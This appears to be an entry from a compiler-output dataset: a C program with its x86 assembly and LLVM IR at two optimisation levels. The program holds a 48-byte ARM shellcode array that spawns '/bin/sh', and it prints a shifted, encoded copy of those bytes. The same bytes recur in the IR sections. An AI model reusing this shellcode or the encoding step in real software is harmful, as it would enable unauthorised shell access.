#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ printf(char *, char);
int main() {
  unsigned char shellcode[] =
      "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10"
      "\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3"
      "\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";
  int len = 48;
  char out[len];
  int i;
  for (i = 0; i < len; i++) {
    out[i] = shellcode[i] + 1;
    if (i == 47) {
      printf("0x%x\n", out[i]);
    } else {
      printf("0x%x,", out[i]);
      out[i]++;
    }
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
movl   $0x0,-0x4(%rbp)
movaps 0xefa(%rip),%xmm0
movaps %xmm0,-0x20(%rbp)
movaps 0xedf(%rip),%xmm0
movaps %xmm0,-0x30(%rbp)
movaps 0xec4(%rip),%xmm0
movaps %xmm0,-0x40(%rbp)
movb   $0x0,-0x10(%rbp)
movl   $0x30,-0x44(%rbp)
mov    -0x44(%rbp),%eax
mov    %rsp,%rcx
mov    %rcx,-0x50(%rbp)
mov    %rax,%rdx
add    $0xf,%rdx
and    $0xfffffffffffffff0,%rdx
mov    %rsp,%rcx
sub    %rdx,%rcx
mov    %rcx,-0x68(%rbp)
mov    %rcx,%rsp
mov    %rax,-0x58(%rbp)
movl   $0x0,-0x5c(%rbp)
mov    -0x5c(%rbp),%eax
cmp    -0x44(%rbp),%eax
jge    1200 <main+0xf0>
mov    -0x68(%rbp),%rax
movslq -0x5c(%rbp),%rcx
movzbl -0x40(%rbp,%rcx,1),%ecx
add    $0x1,%ecx
mov    %cl,%dl
movslq -0x5c(%rbp),%rcx
mov    %dl,(%rax,%rcx,1)
cmpl   $0x2f,-0x5c(%rbp)
jne    11c4 <main+0xb4>
mov    -0x68(%rbp),%rax
movslq -0x5c(%rbp),%rcx
lea    0xe7b(%rip),%rdi
movsbl (%rax,%rcx,1),%esi
call   1030 <printf@plt>
jmp    11ed <main+0xdd>
mov    -0x68(%rbp),%rax
movslq -0x5c(%rbp),%rcx
lea    0xe64(%rip),%rdi
movsbl (%rax,%rcx,1),%esi
call   1030 <printf@plt>
mov    -0x68(%rbp),%rax
movslq -0x5c(%rbp),%rcx
mov    (%rax,%rcx,1),%dl
add    $0x1,%dl
mov    %dl,(%rax,%rcx,1)
jmp    11f2 <main+0xe2>
mov    -0x5c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x5c(%rbp)
jmp    1178 <main+0x68>
movl   $0x0,-0x4(%rbp)
mov    -0x50(%rbp),%rax
mov    %rax,%rsp
mov    -0x4(%rbp),%eax
mov    %rbp,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %rbx
mov    $0x10,%al
mov    $0x1,%ebx
lea    0xf14(%rip),%r14
lea    0xed6(%rip),%r15
nopw   0x0(%rax,%rax,1)
movsbl %al,%esi
mov    %r14,%rdi
call   1030 <printf@plt>
movzbl (%rbx,%r15,1),%eax
add    $0x1,%al
add    $0x1,%rbx
cmp    $0x30,%rbx
jne    1130 <main+0x20>
movsbl %al,%esi
lea    0xedb(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
pop    %rbx
pop    %r14
pop    %r15
ret

LLVM IR (-O0):
@__const.main.shellcode = [49 x i8] c"\0F\00\A0\E1 \00\80\E2\02 B\E0\05\00-\E9\0D\10\A0\E1\0Bp\A0\E3\00\00\00\EF\00\00\A0\E3\01p\A0\E3\00\00\00\EF/bin/sh\00\00"
@.str = [6 x i8] c"0x%x\0A\00"
@.str.1 = [6 x i8] c"0x%x,\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [49 x i8]
%3 = alloca i32
%4 = alloca i8*
%5 = alloca i64
%6 = alloca i32
store i32 0, i32* %1
%7 = bitcast [49 x i8]* %2 to i8*
store i32 48, i32* %3
%8 = load i32, i32* %3
%9 = zext i32 %8 to i64
%10 = call i8* @llvm.stacksave()
store i8* %10, i8** %4
%11 = alloca i8, i64 %9
store i64 %9, i64* %5
store i32 0, i32* %6
br label %12
12: ; preds = %47, %0
%13 = load i32, i32* %6
%14 = load i32, i32* %3
%15 = icmp slt i32 %13, %14
br i1 %15, label %16, label %50
16: ; preds = %12
%17 = load i32, i32* %6
%18 = sext i32 %17 to i64
%19 = getelementptr inbounds [49 x i8], [49 x i8]* %2, i64 0, i64 %18
%20 = load i8, i8* %19
%21 = zext i8 %20 to i32
%22 = add nsw i32 %21, 1
%23 = trunc i32 %22 to i8
%24 = load i32, i32* %6
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds i8, i8* %11, i64 %25
store i8 %23, i8* %26
%27 = load i32, i32* %6
%28 = icmp eq i32 %27, 47
br i1 %28, label %29, label %35
29: ; preds = %16
%30 = load i32, i32* %6
%31 = sext i32 %30 to i64
%32 = getelementptr inbounds i8, i8* %11, i64 %31
%33 = load i8, i8* %32
%34 = call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0), i8 signext %33)
br label %46
35: ; preds = %16
%36 = load i32, i32* %6
%37 = sext i32 %36 to i64
%38 = getelementptr inbounds i8, i8* %11, i64 %37
%39 = load i8, i8* %38
%40 = call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i64 0, i64 0), i8 signext %39)
%41 = load i32, i32* %6
%42 = sext i32 %41 to i64
%43 = getelementptr inbounds i8, i8* %11, i64 %42
%44 = load i8, i8* %43
%45 = add i8 %44, 1
store i8 %45, i8* %43
br label %46
46: ; preds = %35, %29
br label %47
47: ; preds = %46
%48 = load i32, i32* %6
%49 = add nsw i32 %48, 1
store i32 %49, i32* %6
br label %12
50: ; preds = %12
store i32 0, i32* %1
%51 = load i8*, i8** %4
%52 = load i32, i32* %1
ret i32 %52
}

LLVM IR (-O2):
@__const.main.shellcode = [49 x i8] c"\0F\00\A0\E1 \00\80\E2\02 B\E0\05\00-\E9\0D\10\A0\E1\0Bp\A0\E3\00\00\00\EF\00\00\A0\E3\01p\A0\E3\00\00\00\EF/bin/sh\00\00"
@.str = [6 x i8] c"0x%x\0A\00"
@.str.1 = [6 x i8] c"0x%x,\00"
define i32 @main() {
br label %1
1: ; preds = %0, %1
%2 = phi i8 [ 16, %0 ], [ %8, %1 ]
%3 = phi i64 [ 0, %0 ], [ %5, %1 ]
%4 = tail call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i64 0, i64 0), i8 signext %2)
%5 = add nuw nsw i64 %3, 1
%6 = getelementptr inbounds [49 x i8], [49 x i8]* @__const.main.shellcode, i64 0, i64 %5
%7 = load i8, i8* %6
%8 = add i8 %7, 1
%9 = icmp eq i64 %5, 47
br i1 %9, label %10, label %1
10: ; preds = %1
%11 = tail call i32 @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0), i8 signext %8)
ret i32 0
}